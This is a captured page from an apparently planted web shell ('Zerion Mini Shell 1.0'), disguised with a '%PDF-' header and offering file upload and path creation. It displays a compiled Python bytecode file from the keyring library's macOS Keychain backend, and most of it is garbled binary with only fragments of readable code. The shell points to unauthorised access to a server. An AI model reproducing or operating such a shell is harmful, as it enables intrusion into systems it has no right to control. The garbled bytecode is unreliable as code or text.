%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/lib/python3/dist-packages/keyring/backends/macOS/__pycache__/
Upload File :
Create Path :
Current File : //proc/self/root/lib/python3/dist-packages/keyring/backends/macOS/__pycache__/api.cpython-312.pyc

�

�e���D�ddlZddlZddlmZmZmZmZddlmZeZGd�d�Z	ejed��Zejed��Zejed��Z
e
jZee_eeeeeefe_e
j"Zee_eeege_e
j$Zee_eeejge_ej&Zee_eefe_ej(Zee_eefe_ej*Zee_efe_e
j,Zee_efe_e
j.Zee_efe_d	�Zd
�Zd�Zd�Zd
�ZGd�de�ZGd�de�ZGd�de�Z Gd�de�Z!dd�Z"d�Z#d�Z$y)�N)�c_void_p�c_uint32�c_int32�byref)�find_libraryc� �eZdZdZdZdZdZdZy)�errori,���i����i3���i*���i$���N)�__name__�
__module__�__qualname__�item_not_found�keychain_denied�sec_auth_failed�
plist_missing�sec_interaction_not_allowed���</usr/lib/python3/dist-packages/keyring/backends/macOS/api.pyr	r	s���N��O��O��M�"(�rr	�Security�CoreServices�
Foundationc�6�tjt|�S�N)r�in_dll�_sec��ss r�k_rCs���?�?�4��#�#rc	�t�tddtjt|rd���Sd���S)N�	�r)�CFNumberCreate�ctypesrr)�bs r�
create_cfboolr%Gs/���$��V�\�\�'�q�!�2H�%I�J�J�a�2H�%I�J�Jrc�:�td|jd�d�S)N�utf8i)�CFStringCreateWithCString�encoders r�create_cfstrr*Ks��$��a�h�h�v��
��rc
��tdtt|�z|j�D�cgc]
}t	|���c}�tt|�z|j�D�cgc]}t
|t�rt|�n|��!c}�t|�tjtj�Scc}wcc}wr)�CFDictionaryCreater�len�keysr�values�
isinstance�strr*�_found�kCFTypeDictionaryKeyCallBacks�kCFTypeDictionaryValueCallBacks)�kwargs�k�vs   r�create_queryr8Qs�����	�C��K�	�&�+�+�-�"@�Q�2�a�5�"@�A�	�C��K�	�BH�-�-�/�#
�=>�z�!�S�1�L��O�q�8�#
�	�	�F���,�,��.�.�	�	��"@��#
s�B6�"$B;c�p�tjt|�t|��j	d�S)Nzutf-8)r#�	string_at�CFDataGetBytePtr�CFDataGetLength�decode)�datas r�cfstr_to_strr?^s0�����,�T�2�O�D�4I�J�Q�Q���rc��eZdZed��Zy)�Errorc��|dk(ry|tjk(rt|d��|tjk(rt	|d��|tj
k(s|tjk(rt|d��||d��)NrzItem not foundzKeychain Access DeniedzHSecurity Auth Failure: make sure executable is signed with codesign utilz
Unknown Error)r	r
�NotFoundr�KeychainDeniedrr�SecAuthFailure)�cls�statuss  r�raise_for_statuszError.raise_for_statuses����Q�;���U�)�)�)��6�#3�4�4��U�*�*�*� ��)A�B�B��U�*�*�*�f��8K�8K�.K� ��:��
�
�&�/�*�*rN)r
rr�classmethodrHrrrrArAds���
+��
+rrAc��eZdZy)rCN�r
rrrrrrCrCv���rrCc��eZdZy)rDNrKrrrrDrDzrLrrDc��eZdZy)rENrKrrrrErE~rLrrEc	��ttd�td�||td���}t�}t	|t|��}|tjk(r|rytj|�t|�S)N�kSecClassGenericPassword�kSecMatchLimitOneT)�	kSecClass�kSecMatchLimit�kSecAttrService�kSecAttrAccount�kSecReturnData)r8rr%r�SecItemCopyMatchingrr	r
rArHr?)�kc_name�service�username�not_found_ok�qr>rGs       r�find_generic_passwordr]�sq����/�0��-�.�� �$�T�*�	�A��:�D�
 ��E�$�K�
0�F�
��%�%�%�,��	���6�"����rc���tjt�5t|||�ddd�t	td�|||��}t
|d�}tj|�y#1swY�CxYw)NrP)rRrTrU�
kSecValueData)	�
contextlib�suppressrC�delete_generic_passwordr8r�
SecItemAddrArH)�namerYrZ�passwordr\rGs      r�set_generic_passwordrf�sk��	�	�	�X�	&�9���g�x�8�9�	��/�0�� ��		�A���4�
 �F�	���6�"�9�9�s�A*�*A3c�r�ttd�||��}t|�}tj	|�y)NrP)rRrTrU)r8r�
SecItemDeleterArH)rdrYrZr\rGs     rrbrb�s5����/�0�� �	�A��1�
�F�	���6�"r)F)%r`r#rrrr�ctypes.utilr�	OS_statusr	�CDLLr�_corer2r,�restype�argtypesr(r"rcrWrhr;r<rr%r*r8r?�	ExceptionrArCrDrEr]rfrbrrr�<module>rps����
���%�
�	�)�)��v�{�{�<�
�+�,������L��0�1��	����\�,�/�	0���.�.��%���������
���#�<�<��$,��!�&.��(�%C��"��&�&��!���#�X�v���?���
�_�_�
��
����*�
���.�.��'��� (�(�3����"�"�
�!�
��"��
���*�*��#���%�K����(�(��!���$�;���$�K��
��+�I�+�$	�u�	�	�U�	�	�U�	��(#�#r

Zerion Mini Shell 1.0